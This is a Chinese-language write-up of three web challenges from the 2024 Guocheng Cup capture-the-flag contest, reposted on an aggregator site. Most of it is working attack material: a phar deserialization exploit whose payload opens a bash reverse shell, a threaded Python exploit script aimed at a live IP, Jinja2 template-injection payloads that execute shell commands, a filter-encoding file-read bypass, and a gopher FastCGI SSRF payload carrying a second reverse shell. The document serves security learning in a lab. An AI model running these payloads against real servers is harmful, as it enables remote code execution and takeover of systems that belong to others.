2024國城杯 Web

這四道題目Jasper大佬都做了鏡像可以直接拉取進行復現
https://jaspersec.top/2024/12/16/0x12%20%E5%9B%BD%E5%9F%8E%E6%9D%AF2024%20writeup%20with%20docker/

n0ob_un4er

這道題沒有復現成功, 不知道為啥上傳了文件, 也在 /tmp目錄下生成了sess_PHPSESSID的文件, 但是就是無法寫入內容, 文件的內容一直都是空白, 也直接用python的腳本一鍵運行, 顯示了惡意phar已copy到/tmp/tmp.tmp , 但依舊沒啥用, 搞不明白, 所以僅記錄了解一下整個的一個過程, 加深了解session文件的利用

<?php
$SECRET  = `/readsecret`;
include "waf.php";
class User {public $role;function __construct($role) {$this->role = $role;}
}
class Admin{public $code;function __construct($code) {$this->code = $code;}function __destruct() {echo "Admin can play everything!";eval($this->code);}
}
function game($filename) {if (!empty($filename)) {if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {echo "Well done!";} else {echo "Copy failed.";}} else {echo "User can play copy game.";}
}
function set_session(){global $SECRET;$data = serialize(new User("user"));$hmac = hash_hmac("sha256", $data, $SECRET);setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {global $SECRET;$data = $_COOKIE["session-data"];list($data, $hmac) = explode("-----", $data, 2);if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {die("hacker!");}$data = unserialize($data);if ( $data->role === "user" ){game($_GET["filename"]);}else if($data->role === "admin"){return new Admin($_GET['code']);}return 0;
}
if (!isset($_COOKIE["session-data"])) {set_session();highlight_file(__FILE__);
}else{highlight_file(__FILE__);check_session();
}

無法直接通過session-data偽造admin身份進行命令執行( 因為使用了hmac-sha256簽名算法, 且無法獲取到$SECRET, )

開始能用的就是只有copy, 而copy是可以使用phar偽協議的, 只有能夠反序列化Admin類就可以RCE, 所以要想到是利用phar打反序列化

phar反序列化需要有文件上傳的點, 這里沒有, 但可以將phar編碼為字符串進行寫入到文件里面去

所以需要找一個可控的文件, 一般可控的文件有臨時文件, 日志文件, session文件, 但這里設置了open_basedir, 也就無法利用日志文件
臨時文件無法知道文件名, 也無法利用, 所以這里可用的就是session文件了, 并且這里php版本為7.2,這個版本就算不開啟session,只要上傳了文件,并且在cookie傳入了PHPSESSID,也會生成臨時的session文件

最終思路:
上傳文件, 然后在session的臨時文件上寫入編碼后的phar文件, 然后利用filter偽協議將phar文件的內容還原寫到 /tmp/tmp.tmp文件中, 最后利用phar偽協議解析, 觸發反序列化進行 RCE

上傳文件: php upload process可以在/tmp下生成部分內容可控的sess_<sessionid>文件
要有 PHPSESSID

在這里插入圖片描述

在這個session文件里面開頭都會存在 upload_proccess_

利用到php exit死亡繞過的知識點, 將不可控的部分消除掉
可控內容之前的upload_process_字段,添加aaaaaa后,三次base64即可置空

在這里插入圖片描述

可控內容之后,用string.strip_tags過濾器可以全部清除掉,只需在可控部分之后加個<即可

最終payload構造:: aaaaaa+base64_encode(base64_encode(base64_encode(payload))) + <

這個payload是用于放在文件上傳的PHP_SESSION_UPLOAD_PROGRESS下的內容

payload觸發:

?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/[PHPSESSID]

到這里就實現了/tmp/tmp.tmp任意寫

然后要構造phar文件內容

<?phpclass Admin{public $code;function __construct($code) {$this->code = $code;}}@unlink("exp.phar");$phar = new Phar("exp.phar");                  // 后綴名必須為 phar,生成之后可以修改$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>");  // 設置stub$o = new Admin("system(' bash -c \"bash -i >& /dev/tcp/*.*.*.*/9999 0>&1\"');");$phar->setMetadata($o);                         // 將自定義的 meta-data 存入 manifest$phar->addFromString("jasper", "123");       // 添加要壓縮的文件//簽名自動計算$phar->stopBuffering();$pharContent = file_get_contents('exp.phar');$b64 = base64_encode(base64_encode(base64_encode($pharContent)));print("bbbbbb".$b64.htmlspecialchars('<'));
?>

python腳本

import io
import requests
import threading
import timesessid = 'jasper1'
# url = 'http://127.0.0.1:8888/index.php'
url = "http://125.70.243.22:31293/index.php"
## read flag
phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGd2RFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZCTlVGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBha2w1VDJsS2VtVllUakJhVnpCdlNuazVlVnBYUm10ak1sWnFZMjFXTUVwNWF6ZEphblE1UW1kQlFVRkhjR2hqTTBKc1kyZE5RVUZCUkU5d01WSnVRWGRCUVVGT1NtcFRTV2t5UVZGQlFVRkJRVUZCUkVWNVRTOWtkbll5V1hoSE5GaE9jRXBPTHpWWmFFWlBXRGx4ZUdFMGMwRm5RVUZCUldSRFZGVkpQUT09<"
# reverse shell
# phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGeFdFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZDYWtGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBhbGt3VDJsS2VtVllUakJhVnpCdlNubENhVmxZVG05SlF6RnFTVU5LYVZsWVRtOUpRekZ3U1VRMGJVbERPV3RhV0ZsMlpFZE9kMHg2UlhoT2FUUXlUV2swZWs5RE5ETk5VemcxVDFSck5VbEVRU3RLYWtWcFNubHJOMGxxZERsQ1owRkJRVWR3YUdNelFteGpaMDFCUVVGRFVqRnNVbTVCZDBGQlFVNUthbE5KYVRKQlVVRkJRVUZCUVVGRVJYbE5lV2xOVG5GMGFFaElOMmhyT0Uxa1EwZFJjM2hGY1hORE1XZDBRV2RCUVVGRlpFTlVWVWs5<"# 全局事件,用于協調線程退出
stop_event = threading.Event()def write_session_file(session):while not stop_event.is_set():f = io.BytesIO(b'a' * 1024 * 50)session.post(url,data={"PHP_SESSION_UPLOAD_PROGRESS": phar_payload},files={"file": ('q.txt', f)},cookies={'PHPSESSID': sessid})def copy_to_tmp(session):payload = "?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_" + sessidwhile not stop_event.is_set():res = requests.get(url + payload, cookies=session.cookies)if "Well done!" in res.text:print("[+] 惡意phar已copy到/tmp/tmp.tmp ...")else:print("[-] 拷貝失敗!")if "flag" in res.text or "D0g3xGC" in res.text:stop_event.set()  ## 設置退出事件breakdef unser_phar(session):payload = "?filename=phar:///tmp/tmp.tmp/jasper"while not stop_event.is_set():res = requests.get(url + payload, cookies=session.cookies)if "flag" in res.text or "D0g3xGC" in res.text:print(res.text)print("[+] 利用成功!")stop_event.set()  ## 設置退出事件breaksession = requests.Session()# 創建并啟動線程
write_thread = threading.Thread(target=write_session_file, args=(session,))
write_thread.daemon = True
write_thread.start()copy_thread = threading.Thread(target=copy_to_tmp, args=(session,))
copy_thread.daemon = True
copy_thread.start()unser_thread = threading.Thread(target=unser_phar, args=(session,))
unser_thread.daemon = True
unser_thread.start()# 主線程保持活躍,等待子線程結束
while not stop_event.is_set():time.sleep(1)

Ez_Gallery

admin/123456登錄進去

任意文件讀取, 讀取源碼 app.py

import jinja2
from pyramid.config import Configurator
from pyramid.httpexceptions import HTTPFound
from pyramid.response import Response
from pyramid.session import SignedCookieSessionFactory
from wsgiref.simple_server import make_server
from Captcha import captcha_image_view, captcha_store
import re
import osclass User:def __init__(self, username, password):self.username = usernameself.password = passwordusers = {"admin": User("admin", "123456")}def root_view(request):# 重定向到 /loginreturn HTTPFound(location='/login')def info_view(request):# 查看細節內容if request.session.get('username') != 'admin':return Response("請先登錄", status=403)file_name = request.params.get('file')file_base, file_extension = os.path.splitext(file_name)if file_name:file_path = os.path.join('/app/static/details/', file_name)try:with open(file_path, 'r', encoding='utf-8') as f:content = f.read()print(content)except FileNotFoundError:content = "文件未找到。"else:content = "未提供文件名。"return {'file_name': file_name, 'content': content, 'file_base': file_base}def home_view(request):# 主路由if request.session.get('username') != 'admin':return Response("請先登錄", status=403)detailtxt = os.listdir('/app/static/details/')picture_list = [i[:i.index('.')] for i in detailtxt]file_contents = {}for picture in picture_list:with open(f"/app/static/details/{picture}.txt", "r", encoding='utf-8') as f:file_contents[picture] = f.read(80)return {'picture_list': picture_list, 'file_contents': file_contents}def login_view(request):if request.method == 'POST':username = request.POST.get('username')password = request.POST.get('password')user_captcha = request.POST.get('captcha', '').upper()if user_captcha != captcha_store.get('captcha_text', ''):return Response("驗證碼錯誤,請重試。")user = users.get(username)if user and user.password == password:request.session['username'] = usernamereturn Response("登錄成功!<a href='/home'>點擊進入主頁</a>")else:return Response("用戶名或密碼錯誤。")return {}def shell_view(request):if request.session.get('username') != 'admin':return Response("請先登錄", status=403)expression = request.GET.get('shellcmd', '')blacklist_patterns = [r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\..*', r'.*soft.*', r'.*%.*']if any(re.search(pattern, expression) for pattern in blacklist_patterns):return Response('wafwafwaf')try:result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})if result is not None:return Response('success')else:return Response('error')except Exception as e:return Response('error')def main():session_factory = SignedCookieSessionFactory('secret_key')with Configurator(session_factory=session_factory) as config:config.include('pyramid_chameleon')  # 添加渲染模板config.add_static_view(name='static', path='/app/static')config.set_default_permission('view')  # 設置默認權限為view# 注冊路由config.add_route('root', '/')config.add_route('captcha', '/captcha')config.add_route('home', '/home')config.add_route('info', '/info')config.add_route('login', '/login')config.add_route('shell', '/shell')# 注冊視圖config.add_view(root_view, route_name='root')config.add_view(captcha_image_view, route_name='captcha')config.add_view(home_view, route_name='home', renderer='home.pt', permission='view')config.add_view(info_view, route_name='info', renderer='details.pt', permission='view')config.add_view(login_view, route_name='login', renderer='login.pt')config.add_view(shell_view, route_name='shell', renderer='string', permission='view')config.scan()app = config.make_wsgi_app()return appif __name__ == "__main__":app = main()server = make_server('0.0.0.0', 6543, app)server.serve_forever()

黑名單:

blacklist_patterns = [r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\\..*', r'.*soft.*', r'.*%.*']

沒有回顯, 需要一些方法去拿到回顯

官方wp:

{{cycler.__init__.__globals__. __builtins__['exec']
("request.add_response_callback(lambda request, response: setattr(response, 'text',__import__('os').popen('whoami').read()))",{'request': request})}}

過濾了點 ., 需要繞過, 用[ ] 繞過
以及用getattr 繞過 request.add_response_callback ==> getattr(request,'add_response_callback')

{{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')
(lambda request,response:setattr(response,'text',getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))",{'request':request})}}

其他大佬的方法:

{{cycler['__init__']['__globals__']['__builtins__']
['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']
('sys')['modules']['wsgiref']['simple_server']
['ServerHandler'],'http_version',cycler['__init__']
['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']())}}

Jinja2-SSTI 新回顯方式技術學習

從這道題目去學習了一下Jinja2-SSTI 新回顯方式技術

環境搭建

app.py

from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)@app.route('/', methods=["POST"])
def template():template = request.form.get("code")result=render_template_string(template)print(result)if result !=None:return "OK"else:return "error"if __name__ == '__main__':app.run(debug=False, host='0.0.0.0', port=8000)
flask中的Server頭回顯

響應包里面的server頭打印了Werkzeug和python的版本號, 可以利用它的值進行回顯

在這里插入圖片描述

大佬們的文章分析的很清楚, Server頭的值是從self.version_string()出來的,而 version_string方法,其實就是直接將server_version屬性和sys_version屬性拼接在一起的

以屬性的方式存放于類中, 那么就可以通過一些賦值的方式將我們的代碼或者是命令執行的回顯放在這個這個屬性中, 從而隨著請求頭的send, 我們需要的回顯就會出現在響應包里面

但是 WSGIRequestHandlerserver_version其實是方法

class WSGIRequestHandler(BaseHTTPRequestHandler):server: BaseWSGIServer@propertydef server_version(self) -> str:  # type: ignorereturn self.server._server_version

是一個方法而不是屬性, 好像無法通過利用 setattr 這種去進行賦值(因為lambda匿名函數表達式不被jinja2引擎解析)
但是它前面又有一個 @property ==> 它把方法包裝成屬性,讓方法可以以屬性的形式被訪問和調用
所以我們可以直接給他賦str類型的值

關鍵是需要調用到 werkzeug.serving.WSGIRequestHandler 類, 使用 setattr 控制它的server_version屬性的值

payload

{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}# 這里的g是 flask 提供的一個全局變量
# sys 模塊的 modules 屬性以字典的形式包含了程序自開始運行時所有已加載過的模塊, 從這里獲取所需要的werkzeug模塊, 從而獲取到WSGIRequestHandler 對象

在這里插入圖片描述

同理也可以換成 sys_version

在這里插入圖片描述

HTTP協議回顯

看到 send_response 方法

def send_response(self, code, message=None):
"""Add the response header to the headers buffer and log the
response code.Also send two standard headers with the server software
version and the current date."""
self.log_request(code)
self.send_response_only(code, message)
self.send_header('Server', self.version_string())
self.send_header('Date', self.date_time_string())

發送一些信息, 其實就是回顯包里面的那些信息,
看到 send_response_only 方法

def send_response_only(self, code, message=None):
"""Send the response header only."""
if self.request_version != 'HTTP/0.9':if message is None:if code in self.responses:message = self.responses[code][0]else:message = ''if not hasattr(self, '_headers_buffer'):self._headers_buffer = []self._headers_buffer.append(("%s %d %s\r\n" %(self.protocol_version, code, message)).encode('latin-1', 'strict'))

在這里插入圖片描述

可以看到這三個值都是頁面上回顯的值, 那么只要能夠控制他們的值, 就可以得到我們想要的回顯了

首先 protocol_version 它是 werkzeug.serving.WSGIRequestHandler 里面的一個屬性,
所以需要獲取到WSGIRequestHandler 對象
sys 模塊的 modules 屬性以字典的形式包含了程序自開始運行時所有已加載過的模塊,可以直接從該屬性中獲取到目標模塊

而獲取sys模塊的方式有很多種, 可以從__spec__的全局變量中獲取

{{lipsum.__spec__.__init__.__globals__}}

在這里插入圖片描述

最終獲取 WSGIRequestHandler 對象里面的 protocol_version 屬性

{{lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler.__dict__}}

在這里插入圖片描述

然后就是使用 setattr 方法控制 protocol_version 屬性的值

payload

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo xpw').read())}}

在這里插入圖片描述參考文章:
https://xz.aliyun.com/t/15780?time__1311=GqjxnQGQDQO4l6zG7DyDI2DfosHKwd43x

https://xz.aliyun.com/t/15994?time__1311=GqjxcD2DnAY4lxGghDyDIg8QrbCACEioD%#toc-7

signal

網站進去一個登錄框, dirsearch掃一下目錄
有一個/.index.php.swp

最近我朋友讓我給他注冊個賬號,還想要在他的專屬頁面實現查看文件的功能。好吧,那就給他創個guest:MyF3iend,我是不可能給他我的admin賬戶的

拿到一個賬號密碼: guest:MyF3iend

登錄進去, 觀察到它的 url

在這里插入圖片描述

存在一個任意文件讀取漏洞, 因為之前掃目錄可用掃到一個 admin.php ,直接讀取會跳轉到 index.php, 說明被執行了, 所以這里可以猜測是用了include函數來包含的 , 需要使用php偽協議繞過一下讀取源碼, 但是也過濾了挺多, 二次編碼一下繞過

?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php

讀取到admin.php

<?php
session_start();
error_reporting(0);if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {$_SESSION['error'] = 'Please fill in the username and password';header("Location: index.php");exit();
}$url = $_POST['url'];
$error_message = '';
$page_content = '';if (isset($url)) {if (!preg_match('/^https:\/\//', $url)) {$error_message = 'Invalid URL, only https allowed';} else {$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $page_content = curl_exec($ch);if ($page_content === false) {$error_message = 'Failed to fetch the URL content'.curl_error($ch);}curl_close($ch);}
}
?>

讀一下guest.php, 存在waf的內容

<?php
session_start();
error_reporting(0);if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest' ) {$_SESSION['error'] = 'Please fill in the username and password';header('Location: index.php');exit();
}if (!isset($_GET['path'])) {header("Location: /guest.php?path=/tmp/hello.php");exit;
}$path = $_GET['path'];
if (preg_match('/(\.\.\/|php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {echo "Don't do this";
}else{include($path);
}?>

還是需要進入admin.php里面去, 需要拿到它的賬號密碼

在最初的登錄界面那里可以發現一個 StoredAccounts.php 讀取一下試試

在這里插入圖片描述

StoredAccounts.php 給了admin的密碼

<?php
session_start();$users = ['admin' => 'FetxRuFebAdm4nHace','guest' => 'MyF3iend'
];if (isset($_POST['username']) && isset($_POST['password'])) {$username = $_POST['username'];$password = $_POST['password'];if (isset($users[$username]) && $users[$username] === $password) {$_SESSION['logged_in'] = true;$_SESSION['username'] = $username;if ($username === 'admin') {header('Location: admin.php');} else {header('Location: guest.php');}exit();} else {$_SESSION['error'] = 'Invalid username or password';header('Location: index.php');exit();}
} else {$_SESSION['error'] = 'Please fill in the username and password';header('Location: index.php');exit();
}

登錄admin用戶, 存在一個url參數打sstf, 但是只能限定是 https, vps要https打302, 沒有域名的話借助ngrok工具, 在服務器上面使用這個工具可以創建一個臨時網站

ngrok: https://download.ngrok.com/linux?tab=download

用于本地服務跳轉的代碼:

from flask import Flask, redirectapp = Flask(__name__)@app.route('/')
def indexRedirect():redirectUrl = 'http://[ip]/302.php'return redirect(redirectUrl)if __name__ == '__main__':app.run('127.0.0.1', port=8080, debug=True)

ngrok用于搭建臨時網站:

ngrok http 8080

在這里插入圖片描述

在這里插入圖片描述

將這個傳入url, 可以看到內容

在這里插入圖片描述

接下來就是利用工具生成payload打fastcgi

在這里插入圖片描述

改一下app.py 的url

在這里插入圖片描述

可以看到已經執行了命令

在這里插入圖片描述

那么接下來就是反彈shell了

在這里插入圖片描述

同理app.py也相應的更改:

from flask import Flask, redirectapp = Flask(__name__)@app.route('/')
def indexRedirect():redirectUrl ='gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/[ip]/6666%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'return redirect(redirectUrl)if __name__ == '__main__':app.run('127.0.0.1', port=8080, debug=True)

在這里插入圖片描述

后面本來還有一個提權, 但是這個環境好像沒有, 拿別的師傅的截圖記錄一下

在這里插入圖片描述

sudo cat /tmp/whereflag/../../../root/flag

在這里插入圖片描述

參考文章:

https://jaspersec.top/2024/12/16/0x12%20%E5%9B%BD%E5%9F%8E%E6%9D%AF2024%20writeup%20with%20docker/
https://www.cnblogs.com/Litsasuk/articles/18593334#%E5%87%BA%E9%A2%98%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0
https://www.cnblogs.com/dghh/p/18598149

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/64764.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/64764.shtml
英文地址,請注明出處:http://en.pswp.cn/web/64764.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

el-input輸入框需要支持多輸入,最后傳輸給后臺的字段值以逗號分割

需求&#xff1a;一個輸入框字段需要支持多次輸入&#xff0c;最后傳輸給后臺的字段值以逗號分割 解決方案&#xff1a;結合了el-tag組件的動態編輯標簽 那塊的代碼 //子組件 <template><div class"input-multiple-box" idinputMultipleBox><div>…

nginx 的 server 塊配置解析

前后端分離&#xff08;前端 flask&#xff09;&#xff1a; # 阻止ip訪問server {# default_server 是一個配置參數&#xff0c;用于指定當請求的域名&#xff08;Host 頭&#xff09;沒有匹配任何 server 塊時&#xff0c;Nginx 應該使用哪個 server 塊來處理這些請求。 lis…

Ubuntu 22.04.5 修改IP

Ubuntu22.04.5使用的是netplan管理網絡&#xff0c;因此需要在文件夾/etc/netplan下的01-network-manager-all.yaml中修改&#xff0c;需要權限&#xff0c;使用sudo vim或者其他編輯器&#xff0c;修改后的內容如下&#xff1a; # Let NetworkManager manage all devices on …

‘vue-cli-service‘ 不是內部或外部命令,也不是可運行的程序 或批處理文件。

這個錯誤信息表示系統找不到 vue-cli-service 命令&#xff0c;通常是因為 Vue 項目沒有正確安裝所需的依賴包。解決這個問題的步驟如下&#xff1a; 1. 確保你已經安裝了依賴 首先&#xff0c;確保你在項目目錄下&#xff0c;并且運行了以下命令來安裝項目所需的依賴&#x…

解決virtualbox克隆ubuntu虛擬機之后IP重復的問題

找遍了國內論壇&#xff0c;沒一個能解決該問題的&#xff0c;所以我自己寫個文章吧&#xff0c;真討厭那些只會搬運的&#xff0c;污染國內論壇環境&#xff0c;搜一個問題&#xff0c;千篇一律。 問題 操作系統版本為"Ubuntu 24.04 LTS" lennytest1:~$ cat /etc…

基于SpringBoot的寵物寄養系統的設計與實現(源碼+SQL+LW+部署講解)

文章目錄 摘 要1. 第1章 選題背景及研究意義1.1 選題背景1.2 研究意義1.3 論文結構安排 2. 第2章 相關開發技術2.1 前端技術2.2 后端技術2.3 數據庫技術 3. 第3章 可行性及需求分析3.1 可行性分析3.2 系統需求分析 4. 第4章 系統概要設計4.1 系統功能模塊設計4.2 數據庫設計 5.…

idea 開發Gradle 項目

在Mac上安裝完Gradle后&#xff0c;可以在IntelliJ IDEA中配置并使用Gradle進行項目構建和管理。以下是詳細的配置和使用指南&#xff1a; 1. 驗證Gradle是否已安裝 在終端運行以下命令&#xff0c;確保Gradle安裝成功&#xff1a; gradle -v如果輸出Gradle版本信息&#xff…

REST與RPC的對比:從性能到擴展性的全面分析

在微服務架構中&#xff0c;服務間通信是核心問題之一。常見的兩種通信方式是REST&#xff08;Representational State Transfer&#xff09;和RPC&#xff08;Remote Procedure Call&#xff09;。它們各有優缺點&#xff0c;適用于不同場景。本文將從性能、擴展性、兼容性和開…

【Linux】:線程安全 + 死鎖問題

&#x1f4c3;個人主頁&#xff1a;island1314 &#x1f525;個人專欄&#xff1a;Linux—登神長階 ?? 歡迎關注&#xff1a;&#x1f44d;點贊 &#x1f442;&#x1f3fd;留言 &#x1f60d;收藏 &#x1f49e; &#x1f49e; &#x1f49e; 1. 線程安全和重入問題&…

Mysql超詳細安裝配置教程(保姆級)

目錄 一、下載Mysql 二、安裝Mysql 三、配置Mysql 四、連接Mysql 五、部分疑難問題 一、下載Mysql 從官網下載MySQL&#xff0c;這里我選用的是Mysql8.0.34版本 二、安裝Mysql 下載完成后直接雙擊進行安裝&#xff0c;打開后的頁面如下所示&#xff1a; “Developer Defa…

WFP Listbox綁定數據后,數據變化的刷新

Listbox綁定數據通過ItemsSource來的&#xff0c;如果綁定的是普通的List<數據>&#xff0c;不會自己刷新。 使用ObservableCollection集合 解決問題的方法: 將數組替換為 ObservableCollection ObservableCollection 是專為綁定設計的集合類型&#xff0c;可以通知 W…

JVM 及內存管理:掌握 Java 8 的內存模型與垃圾回收機制

Java 虛擬機&#xff08;JVM&#xff09;是運行 Java 程序的核心&#xff0c;它負責代碼執行和內存管理。Java 8 引入了一些重要的內存模型和垃圾回收機制優化。本文將詳細解析 JVM 的內存模型、垃圾回收機制&#xff0c;并配以相關圖解&#xff0c;幫助你深刻理解 JVM 的工作原…

Maple軟件的安裝和使用

文章目錄 1.前言說明2.我為什么要學習Maple3.軟件的安裝4.如何使用4.1基本的賦值語句4.2函數的定義4.3三個類型的書寫介質 5.指數運算5.1使用面板5.2自己輸入 6.對數的使用 1.前言說明 眾所周知&#xff0c;我雖然是一名這個計算機專業的學生&#xff0c;但是我對于數學&#…

【超級詳細】Vue3項目上傳文件到七牛云的詳細筆記

概述 繼上一篇筆記介紹如何綁定七牛云的域名之后&#xff0c;這篇筆記主要介紹了如何在Vue3項目中實現文件上傳至七牛云的功能。我們將使用Cropper.js來處理圖像裁剪&#xff0c;并通過自定義組件和API調用來完成整個流程。 這里直接給出關鍵部分js代碼&#xff0c;上傳之前要先…

Sqoop的使用

每個人的生活都是一個世界&#xff0c;即使最平凡的人也要為他那個世界的存在而戰斗。 ——《平凡的世界》 目錄 一、sqoop簡介 1.1 導入流程 1.2 導出流程 二、使用sqoop 2.1 sqoop的常用參數 2.2 連接參數列表 2.3 操作hive表參數 2.4 其它參數 三、sqoop應用 - 導入…

FFmpeg 4.3 音視頻-多路H265監控錄放C++開發二十一.4,SDP協議分析

SDP在4566 中有詳細描述。 SDP 全稱是 Session Description Protocol&#xff0c; 翻譯過來就是描述會話的協議。 主要用于兩個會話實體之間的媒體協商。 什么叫會話呢&#xff0c;比如一次網絡電話、一次電話會議、一次視頻聊天&#xff0c;這些都可以稱之為一次會話。 那為什…

智簡未來創新與簡化的AI之路

附上鏈接地址&#xff1a;https://aint.top 在這個數字化迅速發展的時代&#xff0c;人工智能&#xff08;AI&#xff09;不僅僅是技術的前沿&#xff0c;它正在成為每個行業創新的核心推動力。作為一家專注于AI技術應用與創新的公司&#xff0c;智簡未來旨在通過智能化的工具…

[極客大挑戰 2019]HardSQL 1

看了大佬的wp&#xff0c;沒用字典爆破&#xff0c;手動試出來的&#xff0c;屏蔽了常用的關鍵字&#xff0c;例如&#xff1a;order select union and 最搞的是&#xff0c;空格也有&#xff0c;這個空格后面讓我看了好久&#xff0c;該在哪里加括號。 先傳入1’ 1試試&#…

【Pytorch實用教程】深入了解 torchvision.models.resnet18 新舊版本的區別

深入了解 torchvision.models.resnet18 新舊版本的區別 在深度學習模型開發中,PyTorch 和 torchvision 一直是我們不可或缺的工具。近期,torchvision 對其模型加載 API 進行了更新,將舊版的 pretrained 參數替換為新的 weights 參數。本文將介紹這一變化的背景、具體區別,…

Elasticsearch名詞解釋

文章目錄 1.什么是Elasticsearch?2.什么是elastic stack(ELK)?3.什么是Lucene?4.什么是文檔(document)&#xff1f;5.什么是詞條(term)&#xff1f;6.什么是正向索引&#xff1f;7.什么是倒排索引&#xff1f;8.ES中的索引(index)9.映射(Mapping)10.DSL11.elastcisearch與my…